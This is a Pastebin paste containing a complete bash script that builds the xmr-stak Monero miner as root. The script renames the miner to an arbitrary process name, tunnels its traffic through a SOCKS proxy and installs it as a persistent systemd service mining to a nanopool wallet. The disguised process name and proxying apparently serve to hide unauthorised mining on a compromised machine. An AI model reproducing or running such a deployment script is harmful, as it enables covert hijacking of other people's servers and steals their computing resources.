Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #!/usr/bin/env bash
- set -o noclobber
- if [ "$#" -ne 8 ]; then
- echo "$0 [address] [worker] [email] [process name] [proxy IP] [proxy port] [proxy user] [proxy password]"
- exit
- fi
- ADDRESS=$1
- WORKER=$2
- EMAIL=$3
- PROCESS=$4
- PROXY_IP=$5
- PROXY_PORT=$6
- PROXY_USER=$7
- PROXY_PASSWORD=$8
- cd /root
- apt-get update
- apt-get install -y libssl-dev cmake build-essential libhwloc-dev tsocks git
- git clone https://github.com/fireice-uk/xmr-stak.git
- mkdir xmr-stak/build
- cd xmr-stak/build
- cmake .. -DCUDA_ENABLE=OFF -DOpenCL_ENABLE=OFF -DMICROHTTPD_ENABLE=OFF
- make install
- mv bin/xmr-stak /usr/bin/$PROCESS
- cd /root
- rm -rf /xmr-stak
- echo 'vm.nr_hugepages=128' >> /etc/sysctl.conf
- sysctl -p
- cat >| /etc/tsocks.conf <<EOL
- local = $PROXY_IP/255.255.255.255
- server = $PROXY_IP
- server_type = 5
- server_port = $PROXY_PORT
- default_user = $PROXY_USER
- default_pass = $PROXY_PASSWORD
- EOL
- cat > /etc/systemd/system/$PROCESS.service <<EOL
- [Unit]
- Description=$PROCESS
- After=network.target
- [Service]
- Type=simple
- PIDFile=/run/$PROCESS.pid
- ExecStart=/usr/bin/tsocks /usr/bin/$PROCESS -O xmr-eu1.nanopool.org:14433 -u $ADDRESS.$WORKER/$EMAIL --currency monero7 -i 0 -p "" -r ""
- ExecReload=/sbin/start-stop-daemon
- [Install]
- WantedBy=multi-user.target
- EOL
- systemctl start $PROCESS
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement